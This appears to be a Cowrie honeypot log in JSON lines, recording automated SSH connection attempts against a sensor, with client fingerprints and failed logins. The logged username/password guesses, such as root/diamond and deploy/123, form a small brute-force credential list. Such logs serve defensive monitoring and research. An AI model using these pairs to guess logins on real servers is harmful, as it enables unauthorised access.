{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:47.447780Z","src_ip":"43.134.24.11","session":"79ac22e131e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:47.686501Z","src_ip":"43.134.24.11","session":"79ac22e131e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:48.401494Z","src_ip":"43.134.24.11","session":"79ac22e131e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:49.642742Z","src_ip":"43.134.24.11","session":"79ac22e131e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":38618,"dst_ip":"159.203.135.109","dst_port":22,"session":"153c77c5e95a","protocol":"ssh","message":"New connection: 103.77.175.15:38618 (159.203.135.109:22) [session: 153c77c5e95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:52.770397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:52.774894Z","src_ip":"103.77.175.15","session":"153c77c5e95a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:53.031229Z","src_ip":"103.77.175.15","session":"153c77c5e95a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":12090,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fc2eb28dade","protocol":"ssh","message":"New connection: 43.134.24.11:12090 (10.17.0.5:22) [session: 7fc2eb28dade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:53.186963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:53.190906Z","src_ip":"43.134.24.11","session":"7fc2eb28dade","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:53.438459Z","src_ip":"43.134.24.11","session":"7fc2eb28dade","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"diamond","message":"login attempt [root/diamond] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:53.805680Z","src_ip":"103.77.175.15","session":"153c77c5e95a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:54.177235Z","src_ip":"43.134.24.11","session":"7fc2eb28dade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:55.067099Z","src_ip":"103.77.175.15","session":"153c77c5e95a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:55.426379Z","src_ip":"43.134.24.11","session":"7fc2eb28dade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":39408,"dst_ip":"10.17.0.5","dst_port":22,"session":"f36373e8dec1","protocol":"ssh","message":"New connection: 43.134.24.11:39408 (10.17.0.5:22) [session: f36373e8dec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:58.974650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:59.000593Z","src_ip":"43.134.24.11","session":"f36373e8dec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:59.222028Z","src_ip":"43.134.24.11","session":"f36373e8dec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:00.197109Z","src_ip":"43.134.24.11","session":"f36373e8dec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:01.446245Z","src_ip":"43.134.24.11","session":"f36373e8dec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":27913,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e8f4824ee74","protocol":"ssh","message":"New connection: 43.134.24.11:27913 (10.17.0.5:22) [session: 1e8f4824ee74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:04.787647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:04.803192Z","src_ip":"43.134.24.11","session":"1e8f4824ee74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:05.057461Z","src_ip":"43.134.24.11","session":"1e8f4824ee74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:05.800211Z","src_ip":"43.134.24.11","session":"1e8f4824ee74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:07.051535Z","src_ip":"43.134.24.11","session":"1e8f4824ee74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":34289,"dst_ip":"10.17.0.5","dst_port":22,"session":"69a8b55bfb75","protocol":"ssh","message":"New connection: 43.134.24.11:34289 (10.17.0.5:22) [session: 69a8b55bfb75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:10.505359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:10.510337Z","src_ip":"43.134.24.11","session":"69a8b55bfb75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:10.740815Z","src_ip":"43.134.24.11","session":"69a8b55bfb75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:11.437402Z","src_ip":"43.134.24.11","session":"69a8b55bfb75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:12.670943Z","src_ip":"43.134.24.11","session":"69a8b55bfb75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":49702,"dst_ip":"10.17.0.5","dst_port":22,"session":"d395a351b058","protocol":"ssh","message":"New connection: 43.134.24.11:49702 (10.17.0.5:22) [session: d395a351b058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:16.215975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:16.221041Z","src_ip":"43.134.24.11","session":"d395a351b058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:16.491940Z","src_ip":"43.134.24.11","session":"d395a351b058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:17.207843Z","src_ip":"43.134.24.11","session":"d395a351b058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:18.448688Z","src_ip":"43.134.24.11","session":"d395a351b058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.31652617454529,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:18.868679Z","src_ip":"23.94.28.189","session":"e933f4abc3c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":27914,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8b7bad3beb2","protocol":"ssh","message":"New connection: 43.134.24.11:27914 (10.17.0.5:22) [session: b8b7bad3beb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:22.076336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:22.080703Z","src_ip":"43.134.24.11","session":"b8b7bad3beb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:22.326984Z","src_ip":"43.134.24.11","session":"b8b7bad3beb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:23.065459Z","src_ip":"43.134.24.11","session":"b8b7bad3beb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:24.314122Z","src_ip":"43.134.24.11","session":"b8b7bad3beb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":23316,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a65f8b957a3","protocol":"ssh","message":"New connection: 43.134.24.11:23316 (10.17.0.5:22) [session: 3a65f8b957a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:27.869428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:27.873878Z","src_ip":"43.134.24.11","session":"3a65f8b957a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openss